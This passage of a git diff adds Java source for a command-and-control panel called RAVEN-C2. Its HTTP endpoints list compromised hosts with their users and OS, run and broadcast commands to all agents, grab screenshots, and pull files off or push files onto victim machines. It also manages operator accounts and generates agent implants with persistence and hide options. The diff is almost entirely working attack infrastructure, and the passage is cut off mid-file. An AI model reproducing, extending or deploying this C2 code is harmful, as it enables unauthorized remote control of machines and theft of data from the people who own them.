ChatApiHandler; + private final AgentGenApi AgentGenApiHandler; + + private HttpServer HttpSrv; + + public WebApp(ServerConfig Config, ListenerMode Mode) { + this.Config = Config; + this.ActiveMode = Mode; + this.Database = TeamDatabase.Connect(Config); + + WebLogger = new WebLogger(Config.GetMaxLogEntries(), Database); + ServerManager = new WebServerManager(Config, Mode, WebLogger); + PathResolver = new PathResolver(WebApp.class); + + AuthApi = new AuthApi(Database); + ServerApiHandler = new ServerApi(Config, ServerManager); + AgentApiHandler = new AgentApi(ServerManager, Database, WebLogger); + BroadcastApiHandler = new BroadcastApi(ServerManager, Database, WebLogger); + HistoryApiHandler = new HistoryApi(Database); + LogsApiHandler = new LogsApi(WebLogger); + OperatorApiHandler = new OperatorApi(Database, WebLogger); + ChatApiHandler = new ChatApi(Database); + AgentGenApiHandler = new AgentGenApi(Config); + } + + public void AttachServer(RavenServer Server, Instant ServerStartTime) { + ServerManager.AttachServer(Server, ServerStartTime); + } + + public void Run(String Host, int Port) throws Exception { + HttpSrv = HttpServer.create(new InetSocketAddress(Host, Port), 100); + HttpRouter Router = new HttpRouter(HttpSrv, Config, PathResolver); + + Router.Register("/api/auth/login", AuthApi::Login); + Router.Register("/api/auth/logout", AuthApi::Logout); + Router.Register("/api/server/status", ServerApiHandler::Status); + Router.Register("/api/server/start", ServerApiHandler::Start); + Router.Register("/api/server/stop", ServerApiHandler::Stop); + Router.Register("/api/agents", AgentApiHandler::List); + Router.Register("/api/agents/kill", AgentApiHandler::Kill); + Router.Register("/api/agents/note", AgentApiHandler::SetNote); + Router.Register("/api/agents/screenshot", AgentApiHandler::Screenshot); + Router.Register("/api/agents/download", AgentApiHandler::Download); + Router.Register("/api/agents/upload", AgentApiHandler::Upload); + Router.Register("/api/command/execute", AgentApiHandler::Execute); + Router.Register("/api/command/broadcast", BroadcastApiHandler::Broadcast); + Router.Register("/api/command/broadcastall", BroadcastApiHandler::BroadcastAll); + Router.Register("/api/command/history", HistoryApiHandler::CommandHistory); + Router.Register("/api/sessions/history", HistoryApiHandler::SessionHistory); + Router.Register("/api/logs", LogsApiHandler::GetLogs); + Router.Register("/api/logs/clear", LogsApiHandler::ClearLogs); + Router.Register("/api/team/operators", OperatorApiHandler::GetOperators); + Router.Register("/api/team/operators/create", OperatorApiHandler::Create); + Router.Register("/api/team/operators/role", OperatorApiHandler::UpdateRole); + Router.Register("/api/team/operators/password", OperatorApiHandler::UpdatePassword); + Router.Register("/api/team/operators/delete", OperatorApiHandler::Delete); + Router.Register("/api/team/operators/kick", OperatorApiHandler::Kick); + Router.Register("/api/team/roles", OperatorApiHandler::GetRoles); + Router.Register("/api/chat/send", ChatApiHandler::Send); + Router.Register("/api/chat/history", ChatApiHandler::History); + Router.Register("/api/agent/generate", AgentGenApiHandler::Generate); + Router.Register("/api/agent/list", AgentGenApiHandler::ListAgents); + Router.RegisterStatic(); + + HttpSrv.setExecutor(Executors.newFixedThreadPool(20)); + HttpSrv.start(); + + Logger.Info("Web Panel Started On http://" + Host + ":" + Port); + Logger.Info("Static Dir : " + PathResolver.ResolvePath(Config.GetStaticDir())); + Logger.Info("Template Dir: " + PathResolver.ResolvePath(Config.GetTemplateDir())); + WebLogger.Add("=".repeat(70)); + WebLogger.Add("RAVEN WEB PANEL INITIALIZED — MODE: " + ActiveMode.name()); + WebLogger.Add("=".repeat(70)); + + ServerManager.StartIfNeeded(this::OnEvent); + } + + public void Stop() { + ServerManager.Stop(); + try { + if (HttpSrv != null) HttpSrv.stop(1); + } catch (Exception Ignored) {} + HttpSrv = null; + Logger.Info("Web panel stopped"); + } + + private void OnEvent(EventType Type, Map Data) { + switch (Type) { + case AgentConnected -> { + WebLogger.Add("SESSION-" + Data.get("ID") + " [" + Data.get("Type") + "] " + Data.get("User") + "@" + Data.get("Hostname") + " " + Data.get("OS")); + Database.SaveSessionEvent(Data, "connected"); + } + case AgentDisconnected -> { + WebLogger.Add("SESSION-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); + Database.SaveSessionEvent(Data, "disconnected"); + } + case Error -> WebLogger.Add("Error: " + Data.get("Message")); + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AgentApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AgentApi.java new file mode 100644 index 0000000..b51c2a3 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AgentApi.java @@ -0,0 +1,122 @@ +package com.raven.interfaces.APP.api; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.session.Session; +import com.raven.interfaces.APP.core.WebLogger; +import com.raven.interfaces.APP.core.WebServerManager; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +public final class AgentApi { + + private final WebServerManager ServerManager; + private final TeamDatabase Database; + private final WebLogger Logger; + + public AgentApi(WebServerManager ServerManager, TeamDatabase Database, WebLogger Logger) { + this.ServerManager = ServerManager; + this.Database = Database; + this.Logger = Logger; + } + + public String List(HttpExchange Exchange) { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Agents", java.util.Collections.emptyList())); + List> Agents = new ArrayList<>(); + for (Session ActiveSession : ServerManager.GetServer().GetSessions().GetAll()) { + Map Agent = new LinkedHashMap<>(); + Agent.put("ID", ActiveSession.GetId()); + Agent.put("Hostname", ActiveSession.GetHostname()); + Agent.put("OS", ActiveSession.GetOs()); + Agent.put("User", ActiveSession.GetUser()); + Agent.put("Arch", ActiveSession.GetArch()); + Agent.put("AgentIP", ActiveSession.GetAgentIp()); + Agent.put("AgentName", ActiveSession.GetAgentName()); + Agent.put("DisplayName", ActiveSession.GetDisplayName()); + Agent.put("SessionKey", ActiveSession.GetSessionKey()); + Agent.put("JoinedAt", ActiveSession.GetJoinedAt()); + Agent.put("Type", ActiveSession.GetSessionType().name()); + Agent.put("ShellMode", ActiveSession.GetShellMode()); + Agent.put("Encrypted", ActiveSession.IsEncrypted()); + Agent.put("MtlsEnabled", ActiveSession.IsMtlsEnabled()); + Agent.put("Note", Database.GetAgentNote(ActiveSession.GetId())); + Agents.add(Agent); + } + return HttpHelper.Json(Map.of("Agents", Agents)); + } + + public String Kill(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + int AgentId = HttpHelper.Num(HttpHelper.Body(Exchange), "AgentId", 0); + if (AgentId == 0) return HttpHelper.Json(Map.of("Error", "AgentId required")); + ServerManager.GetServer().RemoveSession(AgentId); + Logger.Add("[KILL] Agent-" + AgentId); + return HttpHelper.Json(Map.of("Success", true)); + } + + public String Execute(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map Body = HttpHelper.Body(Exchange); + int AgentId = HttpHelper.Num(Body, "AgentId", 0); + String Command = HttpHelper.Str(Body, "Command", ""); + String Operator = HttpHelper.Str(Body, "Operator", "system"); + if (AgentId == 0 || Command.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and Command required")); + Logger.Add("[>] [" + Operator + "] Agent-" + AgentId + " >> " + Command); + String[] Result = ServerManager.GetServer().ExecuteCommand(AgentId, Command); + boolean Success = Boolean.parseBoolean(Result[0]); + Database.SaveCommandLog(AgentId, Operator, Command, Result[1], Success); + return HttpHelper.Json(Map.of("Success", Success, "Output", Result[1], "Command", Command)); + } + + public String Screenshot(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map Body = HttpHelper.Body(Exchange); + int AgentId = HttpHelper.Num(Body, "AgentId", 0); + String Operator = HttpHelper.Str(Body, "Operator", "system"); + if (AgentId == 0) return HttpHelper.Json(Map.of("Error", "AgentId required")); + String[] Result = ServerManager.GetServer().ExecuteCommand(AgentId, "screenshot"); + boolean Success = Boolean.parseBoolean(Result[0]); + Database.SaveCommandLog(AgentId, Operator, "screenshot", Result[1], Success); + Logger.Add("[SCREENSHOT] Agent-" + AgentId + " >> " + (Success ? "saved" : Result[1])); + return HttpHelper.Json(Map.of("Success", Success, "Output", Result[1])); + } + + public String Download(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map Body = HttpHelper.Body(Exchange); + int AgentId = HttpHelper.Num(Body, "AgentId", 0); + String Path = HttpHelper.Str(Body, "Path", ""); + String Operator = HttpHelper.Str(Body, "Operator", "system"); + if (AgentId == 0 || Path.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and Path required")); + String[] Result = ServerManager.GetServer().ExecuteCommand(AgentId, "download " + Path); + boolean Success = Boolean.parseBoolean(Result[0]); + Database.SaveCommandLog(AgentId, Operator, "download " + Path, Result[1], Success); + Logger.Add("[DOWNLOAD] Agent-" + AgentId + " << " + Path + (Success ? " OK" : " FAILED")); + return HttpHelper.Json(Map.of("Success", Success, "Output", Result[1], "Path", Path)); + } + + public String Upload(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map Body = HttpHelper.Body(Exchange); + int AgentId = HttpHelper.Num(Body, "AgentId", 0); + String LocalPath = HttpHelper.Str(Body, "LocalPath", ""); + String RemotePath = HttpHelper.Str(Body, "RemotePath", ""); + String Operator = HttpHelper.Str(Body, "Operator", "system"); + if (AgentId == 0 || LocalPath.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and LocalPath required")); + String Command = RemotePath.isEmpty() ? "upload " + LocalPath : "upload " + LocalPath + " " + RemotePath; + String[] Result = ServerManager.GetServer().ExecuteCommand(AgentId, Command); + boolean Success = Boolean.parseBoolean(Result[0]); + Database.SaveCommandLog(AgentId, Operator, Command, Result[1], Success); + Logger.Add("[UPLOAD] Agent-" + AgentId + " >> " + LocalPath + (Success ? " OK" : " FAILED")); + return HttpHelper.Json(Map.of("Success", Success, "Output", Result[1])); + } + + public String SetNote(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + Database.SetAgentNote(HttpHelper.Num(Body, "AgentId", 0), HttpHelper.Str(Body, "Note", "")); + return HttpHelper.Json(Map.of("Success", true)); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AgentGenApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AgentGenApi.java new file mode 100644 index 0000000..06487cc --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AgentGenApi.java @@ -0,0 +1,40 @@ +package com.raven.interfaces.APP.api; + +import com.raven.interfaces.APP.shared.HttpHelper; +import com.raven.utils.AgentSourceGen; +import com.raven.utils.ServerConfig; +import com.sun.net.httpserver.HttpExchange; +import java.util.List; +import java.util.Map; + +public final class AgentGenApi { + + private final ServerConfig Config; + + public AgentGenApi(ServerConfig Config) { + this.Config = Config; + } + + public String Generate(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + String Language = HttpHelper.Str(Body, "Language", "python").toLowerCase(); + String Host = HttpHelper.Str(Body, "Host", Config.GetServerHost()); + int Port = HttpHelper.Num(Body, "Port", Config.GetServerPort()); + boolean Mtls = Boolean.parseBoolean(HttpHelper.Str(Body, "UseMtls", "false")); + boolean Persist = Boolean.parseBoolean(HttpHelper.Str(Body, "Persist", "false")); + boolean Hide = Boolean.parseBoolean(HttpHelper.Str(Body, "Hide", "false")); + String AgentId = HttpHelper.Str(Body, "AgentId", ""); + if (AgentId.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId required")); + try { + String Source = AgentSourceGen.Generate(Language, AgentId, Host, Port, Mtls, Persist, Hide); + String Filename = AgentSourceGen.Filename(Language); + return HttpHelper.Json(Map.of("Success", true, "Language", Language, "Source", Source, "AgentId", AgentId, "Filename", Filename)); + } catch (Exception Ex) { + return HttpHelper.Json(Map.of("Error", "Generation failed: " + Ex.getMessage())); + } + } + + public String ListAgents(HttpExchange Exchange) throws Exception { + return HttpHelper.Json(Map.of("Languages", List.of("python", "java", "go", "bash"))); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AuthApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AuthApi.java new file mode 100644 index 0000000..b5c655b --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/AuthApi.java @@ -0,0 +1,63 @@ +package com.raven.interfaces.APP.api; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.database.TeamDatabase.OperatorRole; +import com.raven.core.output.Logger; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.security.SecureRandom; +import java.util.Base64; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +public final class AuthApi { + + private static final long TokenTtlMs = 8L * 60 * 60 * 1000; + + public record TokenInfo(String Username, OperatorRole Role, long ExpiresAt) { + public boolean Valid() { + return System.currentTimeMillis() < ExpiresAt; + } + } + + private final TeamDatabase Database; + private final ConcurrentHashMap Tokens; + + public AuthApi(TeamDatabase Database) { + this.Database = Database; + this.Tokens = new ConcurrentHashMap<>(); + } + + public String Login(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + String Username = HttpHelper.Str(Body, "Username", ""); + String Password = HttpHelper.Str(Body, "Password", ""); + if (Username.isEmpty() || Password.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Password required")); + if (!Database.ValidateOperator(Username, TeamDatabase.HashPassword(Password))) return HttpHelper.Json(Map.of("Error", "Invalid credentials")); + OperatorRole Role = Database.GetOperatorRole(Username); + String Token = GenerateToken(); + Tokens.put(Token, new TokenInfo(Username, Role, System.currentTimeMillis() + TokenTtlMs)); + Database.UpdateLastSeen(Username); + Logger.Info("Operator login: " + Username + " [" + Role + "]"); + return HttpHelper.Json(Map.of("Token", Token, "Role", Role.name(), "Username", Username, "ExpiresIn", TokenTtlMs / 1000)); + } + + public String Logout(HttpExchange Exchange) throws Exception { + String Auth = Exchange.getRequestHeaders().getFirst("Authorization"); + if (Auth != null && Auth.startsWith("Bearer ")) Tokens.remove(Auth.substring(7)); + return HttpHelper.Json(Map.of("Success", true)); + } + + public TokenInfo Validate(HttpExchange Exchange) { + String Auth = Exchange.getRequestHeaders().getFirst("Authorization"); + if (Auth == null || !Auth.startsWith("Bearer ")) return null; + TokenInfo Token = Tokens.get(Auth.substring(7)); + return Token != null && Token.Valid() ? Token : null; + } + + private static String GenerateToken() { + byte[] Bytes = new byte[32]; + new SecureRandom().nextBytes(Bytes); + return Base64.getUrlEncoder().withoutPadding().encodeToString(Bytes); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/BroadcastApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/BroadcastApi.java new file mode 100644 index 0000000..1235578 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/BroadcastApi.java @@ -0,0 +1,66 @@ +package com.raven.interfaces.APP.api; + +import com.raven.core.database.TeamDatabase; +import com.raven.interfaces.APP.core.WebLogger; +import com.raven.interfaces.APP.core.WebServerManager; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +public final class BroadcastApi { + + private final WebServerManager ServerManager; + private final TeamDatabase Database; + private final WebLogger Logger; + + public BroadcastApi(WebServerManager ServerManager, TeamDatabase Database, WebLogger Logger) { + this.ServerManager = ServerManager; + this.Database = Database; + this.Logger = Logger; + } + + public String Broadcast(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map Body = HttpHelper.Body(Exchange); + String Command = HttpHelper.Str(Body, "Command", ""); + String Operator = HttpHelper.Str(Body, "Operator", "system"); + @SuppressWarnings("unchecked") + List RawIds = (List) Body.getOrDefault("AgentIds", new ArrayList<>()); + if (Command.isEmpty()) return HttpHelper.Json(Map.of("Error", "Command required")); + List Ids = new ArrayList<>(); + for (Object IdObject : RawIds) + try { + Ids.add((int) Double.parseDouble(IdObject.toString())); + } catch (Exception Ignored) {} + if (Ids.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentIds required")); + Logger.Add("[BROADCAST] [" + Operator + "] >> " + Ids.size() + " agents: " + Command); + Map Results = ServerManager.GetServer().BroadcastCommand(Ids, Command); + Map OutputMap = new LinkedHashMap<>(); + for (Map.Entry Entry : Results.entrySet()) { + boolean Success = Boolean.parseBoolean(Entry.getValue()[0]); + OutputMap.put(String.valueOf(Entry.getKey()), Map.of("Success", Success, "Output", Entry.getValue()[1])); + Database.SaveCommandLog(Entry.getKey(), Operator, Command, Entry.getValue()[1], Success); + } + return HttpHelper.Json(Map.of("Success", true, "Results", OutputMap, "Count", Results.size())); + } + + public String BroadcastAll(HttpExchange Exchange) throws Exception { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map Body = HttpHelper.Body(Exchange); + String Command = HttpHelper.Str(Body, "Command", ""); + String Operator = HttpHelper.Str(Body, "Operator", "system"); + if (Command.isEmpty()) return HttpHelper.Json(Map.of("Error", "Command required")); + Logger.Add("[BROADCAST-ALL] [" + Operator + "] >> " + ServerManager.GetServer().GetSessions().Count() + " agents: " + Command); + Map Results = ServerManager.GetServer().BroadcastAll(Command); + Map OutputMap = new LinkedHashMap<>(); + for (Map.Entry Entry : Results.entrySet()) { + boolean Success = Boolean.parseBoolean(Entry.getValue()[0]); + OutputMap.put(String.valueOf(Entry.getKey()), Map.of("Success", Success, "Output", Entry.getValue()[1])); + Database.SaveCommandLog(Entry.getKey(), Operator, Command, Entry.getValue()[1], Success); + } + return HttpHelper.Json(Map.of("Success", true, "Results", OutputMap, "Count", Results.size())); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/ChatApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/ChatApi.java new file mode 100644 index 0000000..16d57e9 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/ChatApi.java @@ -0,0 +1,30 @@ +package com.raven.interfaces.APP.api; + +import com.raven.core.database.TeamDatabase; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.util.Map; + +public final class ChatApi { + + private final TeamDatabase Database; + + public ChatApi(TeamDatabase Database) { + this.Database = Database; + } + + public String Send(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + String From = HttpHelper.Str(Body, "From", "system"); + String To = HttpHelper.Str(Body, "To", "all"); + String Message = HttpHelper.Str(Body, "Message", ""); + if (Message.isEmpty()) return HttpHelper.Json(Map.of("Error", "Message required")); + Database.SaveChatLog(From, To, Message); + return HttpHelper.Json(Map.of("Success", true)); + } + + public String History(HttpExchange Exchange) throws Exception { + int Limit = HttpHelper.Num(HttpHelper.Body(Exchange), "Limit", 100); + return HttpHelper.Json(Map.of("Messages", Database.GetChatLogs(Limit))); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/HistoryApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/HistoryApi.java new file mode 100644 index 0000000..276cea2 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/HistoryApi.java @@ -0,0 +1,27 @@ +package com.raven.interfaces.APP.api; + +import com.raven.core.database.TeamDatabase; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.util.Map; + +public final class HistoryApi { + + private final TeamDatabase Database; + + public HistoryApi(TeamDatabase Database) { + this.Database = Database; + } + + public String CommandHistory(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + int AgentId = HttpHelper.Num(Body, "AgentId", 0); + int Limit = HttpHelper.Num(Body, "Limit", 100); + return HttpHelper.Json(Map.of("History", Database.GetCommandHistory(AgentId, Limit))); + } + + public String SessionHistory(HttpExchange Exchange) throws Exception { + int Limit = HttpHelper.Num(HttpHelper.Body(Exchange), "Limit", 100); + return HttpHelper.Json(Map.of("Sessions", Database.GetSessionHistory(Limit))); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/LogsApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/LogsApi.java new file mode 100644 index 0000000..cdaefdc --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/LogsApi.java @@ -0,0 +1,24 @@ +package com.raven.interfaces.APP.api; + +import com.raven.interfaces.APP.core.WebLogger; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.util.Map; + +public final class LogsApi { + + private final WebLogger Logger; + + public LogsApi(WebLogger Logger) { + this.Logger = Logger; + } + + public String GetLogs(HttpExchange Exchange) { + return HttpHelper.Json(Map.of("Logs", Logger.GetAll())); + } + + public String ClearLogs(HttpExchange Exchange) { + Logger.Clear(); + return HttpHelper.Json(Map.of("Success", true)); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/OperatorApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/OperatorApi.java new file mode 100644 index 0000000..73df04f --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/OperatorApi.java @@ -0,0 +1,95 @@ +package com.raven.interfaces.APP.api; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.database.TeamDatabase.OperatorRole; +import com.raven.interfaces.APP.core.WebLogger; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.sun.net.httpserver.HttpExchange; +import java.util.List; +import java.util.Map; + +public final class OperatorApi { + + private final TeamDatabase Database; + private final WebLogger Logger; + + public OperatorApi(TeamDatabase Database, WebLogger Logger) { + this.Database = Database; + this.Logger = Logger; + } + + public String GetOperators(HttpExchange Exchange) { + return HttpHelper.Json(Map.of("Operators", Database.GetOperators())); + } + + public String GetRoles(HttpExchange Exchange) { + List> Roles = new java.util.ArrayList<>(); + for (OperatorRole Role : OperatorRole.values()) { + Map Entry = new java.util.LinkedHashMap<>(); + Entry.put("Name", Role.name()); + Entry.put("Permissions", Role.PermissionString()); + Entry.put("CanExecute", Role.CanExecute()); + Entry.put("CanWrite", Role.CanWrite()); + Entry.put("CanRead", Role.CanRead()); + Entry.put("CanKill", Role.CanKillSession()); + Entry.put("CanManage", Role.CanManage()); + Entry.put("CanKick", Role.CanKickOperator()); + Roles.add(Entry); + } + return HttpHelper.Json(Map.of("Roles", Roles)); + } + + public String Create(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + String Username = HttpHelper.Str(Body, "Username", ""); + String Password = HttpHelper.Str(Body, "Password", ""); + String RoleName = HttpHelper.Str(Body, "Role", "MEMBER"); + if (Username.isEmpty() || Password.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Password required")); + if (Password.length() < 8) return HttpHelper.Json(Map.of("Error", "Password must be at least 8 characters")); + OperatorRole Role = OperatorRole.FromString(RoleName); + if (!Database.CreateOperator(Username, TeamDatabase.HashPassword(Password), Role)) return HttpHelper.Json(Map.of("Error", "Username already exists")); + Logger.Add("[TEAM] Operator created: " + Username + " [" + Role + "]"); + return HttpHelper.Json(Map.of("Success", true, "Username", Username, "Role", Role.name())); + } + + public String UpdateRole(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + String Username = HttpHelper.Str(Body, "Username", ""); + String RoleName = HttpHelper.Str(Body, "Role", ""); + if (Username.isEmpty() || RoleName.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Role required")); + if (Username.equals("admin")) return HttpHelper.Json(Map.of("Error", "Cannot change admin role")); + OperatorRole Role = OperatorRole.FromString(RoleName); + Database.UpdateOperatorRole(Username, Role); + Logger.Add("[TEAM] Role updated: " + Username + " > " + Role); + return HttpHelper.Json(Map.of("Success", true)); + } + + public String UpdatePassword(HttpExchange Exchange) throws Exception { + Map Body = HttpHelper.Body(Exchange); + String Username = HttpHelper.Str(Body, "Username", ""); + String NewPassword = HttpHelper.Str(Body, "Password", ""); + if (Username.isEmpty() || NewPassword.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Password required")); + if (NewPassword.length() < 8) return HttpHelper.Json(Map.of("Error", "Password must be at least 8 characters")); + boolean Success = Database.UpdateOperatorPassword(Username, TeamDatabase.HashPassword(NewPassword)); + if (Success) Logger.Add("[TEAM] Password changed: " + Username); + return HttpHelper.Json(Map.of("Success", Success)); + } + + public String Delete(HttpExchange Exchange) throws Exception { + String Username = HttpHelper.Str(HttpHelper.Body(Exchange), "Username", ""); + if (Username.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username required")); + if (Username.equals("admin")) return HttpHelper.Json(Map.of("Error", "Cannot delete admin")); + boolean Success = Database.DeleteOperator(Username); + if (Success) Logger.Add("[TEAM] Operator deleted: " + Username); + return HttpHelper.Json(Map.of("Success", Success)); + } + + public String Kick(HttpExchange Exchange) throws Exception { + String Username = HttpHelper.Str(HttpHelper.Body(Exchange), "Username", ""); + if (Username.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username required")); + if (Username.equals("admin")) return HttpHelper.Json(Map.of("Error", "Cannot kick admin")); + boolean Success = Database.DeleteOperator(Username); + if (Success) Logger.Add("[TEAM] Operator kicked: " + Username); + return HttpHelper.Json(Map.of("Success", Success)); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/ServerApi.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/ServerApi.java new file mode 100644 index 0000000..106bb56 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/api/ServerApi.java @@ -0,0 +1,49 @@ +package com.raven.interfaces.APP.api; + +import com.raven.interfaces.APP.core.WebServerManager; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.raven.utils.ServerConfig; +import com.sun.net.httpserver.HttpExchange; +import java.util.LinkedHashMap; +import java.util.Map; + +public final class ServerApi { + + private final ServerConfig Config; + private final WebServerManager ServerManager; + + public ServerApi(ServerConfig Config, WebServerManager ServerManager) { + this.Config = Config; + this.ServerManager = ServerManager; + } + + public String Status(HttpExchange Exchange) { + boolean Up = ServerManager.IsRunning(); + Map Response = new LinkedHashMap<>(); + Response.put("Status", Up ? "Online" : "Offline"); + Response.put("Mode", Config.GetServerMode()); + Response.put("Host", Up ? ServerManager.GetServer().GetHost() : Config.GetServerHost()); + Response.put("Port", Up ? ServerManager.GetServer().GetPort() : Config.GetServerPort()); + Response.put("StartedAt", ServerManager.GetServerStartTime() != null ? ServerManager.GetServerStartTime().getEpochSecond() : 0); + Response.put("Uptime", ServerManager.GetUptime()); + Response.put("Agents", Up ? ServerManager.GetServer().GetSessions().Count() : 0); + if (Up) Response.put("Key", ServerManager.GetServer().GetKeyBase64()); + return HttpHelper.Json(Response); + } + + public String Start(HttpExchange Exchange) throws Exception { + if (ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Already running")); + Map Body = HttpHelper.Body(Exchange); + String Host = HttpHelper.Str(Body, "Host", Config.GetServerHost()); + int Port = HttpHelper.Num(Body, "Port", Config.GetServerPort()); + ServerManager.StartManual(Host, Port, (Type, Data) -> {}); + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Failed to start server")); + return HttpHelper.Json(Map.of("Success", true, "Host", Host, "Port", Port, "StartedAt", ServerManager.GetServerStartTime().getEpochSecond())); + } + + public String Stop(HttpExchange Exchange) { + if (!ServerManager.IsRunning()) return HttpHelper.Json(Map.of("Error", "Not running")); + ServerManager.Stop(); + return HttpHelper.Json(Map.of("Success", true)); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/HttpRouter.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/HttpRouter.java new file mode 100644 index 0000000..9ec2941 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/core/HttpRouter.java @@ -0,0 +1,114 @@ +package com.raven.interfaces.APP.core; + +import com.raven.interfaces.APP.shared.HttpHelper; +import com.raven.interfaces.APP.shared.PathResolver; +import com.raven.utils.ServerConfig; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; +import java.io.IOException; +import java.io.OutputStream; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Map; + +public final class HttpRouter { + + @FunctionalInterface + public interface RouteHandler { + String Handle(HttpExchange Exchange) throws Exception; + } + + private final HttpServer Server; + private final ServerConfig Config; + private final PathResolver PathResolver; + + public HttpRouter(HttpServer Server, ServerConfig Config, PathResolver PathResolver) { + this.Server = Server; + this.Config = Config; + this.PathResolver = PathResolver; + } + + public void Register(String Path, RouteHandler Handler) { + Server.createContext(Path, Exchange -> Route(Exchange, Handler)); + } + + public void RegisterStatic() { + Server.createContext("/static/", new StaticHandler()); + Server.createContext("/", new IndexHandler()); + } + + private void Route(HttpExchange Exchange, RouteHandler Handler) { + try { + Exchange.getResponseHeaders().add("Content-Type", "application/json"); + Exchange.getResponseHeaders().add("Access-Control-Allow-Origin", "*"); + Exchange.getResponseHeaders().add("Access-Control-Allow-Methods", "GET,POST,OPTIONS"); + Exchange.getResponseHeaders().add("Access-Control-Allow-Headers", "Content-Type,Authorization"); + if (Exchange.getRequestMethod().equalsIgnoreCase("OPTIONS")) { + Exchange.sendResponseHeaders(200, -1); + return; + } + byte[] Body = Handler.Handle(Exchange).getBytes("UTF-8"); + Exchange.sendResponseHeaders(200, Body.length); + try (OutputStream Output = 